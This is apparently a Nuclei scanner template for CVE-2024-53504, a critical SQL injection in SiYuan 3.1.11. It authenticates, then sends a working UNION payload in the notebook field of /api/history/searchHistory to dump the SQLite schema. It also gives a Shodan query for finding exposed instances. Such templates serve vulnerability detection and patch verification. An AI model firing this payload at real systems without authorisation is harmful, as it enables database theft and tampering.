Description
Siyuan 3.1.11 contains a sql_injection caused by unsanitized input in the notebook parameter of /searchHistory, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input.
Siyuan 3.1.11 contains a sql_injection caused by unsanitized input in the notebook parameter of /searchHistory, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input.
id: CVE-2024-53504
info:
name: SiYuan 3.1.11 - SQL Injection via searchHistory
author: theamanrawat
severity: critical
description: |
Siyuan 3.1.11 contains a sql_injection caused by unsanitized input in the notebook parameter of /searchHistory, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of Siyuan that addresses this vulnerability or apply security patches.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-53504
- https://github.com/siyuan-note/siyuan/blob/v3.1.11/kernel/model/history.go
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-53504
epss-score: 0.00567
epss-percentile: 0.48484
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
shodan-query: title:"SiYuan"
product: siyuan
vendor: siyuan-note
tags: cve,cve2024,siyuan,sqli,sqlite,injection,vuln,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/system/loginAuth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"authCode":"{{auth_code}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"code\":0")'
- 'contains(tolower(all_headers), "set-cookie: siyuan=")'
condition: and
internal: true
- raw:
- |
POST /api/history/searchHistory HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"notebook":"%' union SELECT sql FROM sqlite_schema -- -","query":"","page":1,"op":"all","type":0}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "CREATE TABLE", "CREATE VIRTUAL TABLE")'
- 'contains(body, "\"code\":0")'
condition: and
# digest: 4b0a00483046022100ee9d5e471a137215c163651dd62ec20f29015d37a1bd3cff6684b3a187bf7b8d022100d3a83802acf0beb25b714c40de9df3ed4054fa8543bfbef4dc353ebf59d0d9d3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.